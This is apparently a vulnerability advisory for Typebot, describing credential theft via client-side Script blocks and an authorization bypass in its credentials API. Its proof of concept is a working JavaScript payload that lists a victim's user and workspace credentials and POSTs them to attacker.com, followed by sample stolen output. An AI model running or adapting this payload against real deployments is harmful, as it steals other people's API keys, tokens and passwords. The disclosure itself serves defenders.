Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass
Packages

Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
Client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking "Run", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The `/api/trpc/credentials.getCredentials` endpoint returns plaintext API keys without verifying credential ownership
---
### Details
The Script block with "Execute on client" enabled runs arbitrary JavaScript in the victim's browser with their authenticated session. This allows API calls on their behalf.
The `/api/trpc/credentials.getCredentials` endpoint returns plaintext credentials:
```http
GET /api/trpc/credentials.getCredentials?input={"json":{"scope":"user","credentialsId":"cm6sofgv200085ms9d2qyvgwc"}}
Response:
{
"result": {
"data": {
"json": {
"name": "My OpenAI Key",
"data": { "apiKey": "sk-proj-abc123...xyz789" }
}
}
}
}
```
The endpoint only checks if you're authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.

### PoC
Here's how to reproduce:
1. Create a new typebot in the Builder
2. Add a Script block and enable "Execute on client"
3. Paste this code:
```javascript
const exfil = async () => {
const data = { credentials: [] };
const list = await fetch(
"https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
encodeURIComponent(JSON.stringify({ json: { scope: "user" } })),
{ credentials: "include" }
);
const creds = (await list.json()).result?.data?.json?.credentials || [];
for (const c of creds) {
const full = await fetch(
"https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
encodeURIComponent(
JSON.stringify({ json: { scope: "user", credentialsId: c.id } })
),
{ credentials: "include" }
);
const d = await full.json();
data.credentials.push({
name: d.result.data.json.name,
type: c.type,
apiKey: d.result.data.json.data.apiKey,
fullData: d.result.data.json.data,
});
}
const ws = await fetch(
"https://app.typebot.io/api/trpc/workspace.listWorkspaces",
{ credentials: "include" }
);
const workspaces = (await ws.json()).result.data.json.workspaces;
for (const w of workspaces) {
const wsList = await fetch(
"https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
encodeURIComponent(
JSON.stringify({ json: { workspaceId: w.id, scope: "workspace" } })
),
{ credentials: "include" }
);
const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];
for (const c of wsCreds) {
const full = await fetch(
"https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
encodeURIComponent(
JSON.stringify({
json: {
workspaceId: w.id,
scope: "workspace",
credentialsId: c.id,
},
})
),
{ credentials: "include" }
);
const d = await full.json();
data.credentials.push({
workspace: w.name,
name: d.result.data.json.name,
type: c.type,
fullData: d.result.data.json.data,
});
}
}
await fetch("https://attacker.com/exfil", {
method: "POST",
body: JSON.stringify(data),
});
};
await exfil();
```
4. Share typebot with victim
5. When victim clicks "Run" to preview, script executes
6. All credentials exfiltrated in plaintext:
```json
{
"credentials": [
{
"name": "My OpenAI",
"type": "openai",
"apiKey": "sk-proj-abc123...",
"fullData": { "apiKey": "sk-proj-abc123..." }
},
{
"workspace": "Company Workspace",
"name": "Google Sheets",
"type": "google-sheets",
"fullData": {
"refresh_token": "1//0gHdP...",
"access_token": "ya29.a0..."
}
}
]
}
```
---
### Impact
All Typebot users storing credentials are affected. Attackers can steal OpenAI API keys, Google Sheets tokens, SMTP passwords, and all other stored credentials.
Example: Attacker creates a "Customer Feedback Template" and shares with 5 company employees. When they preview it, the attacker obtains the company's OpenAI key ($500+/month), Google Sheets access with customer data, and SMTP credentials.
Root causes:
- Client-side scripts execute with victim's authenticated session
- API returns plaintext credentials without ownership verification
- No user warnings or consent prompts
- Exploitable with free tier account
CWE-639 (Authorization Bypass), CWE-79 (XSS), CWE-311 (Missing Encryption)
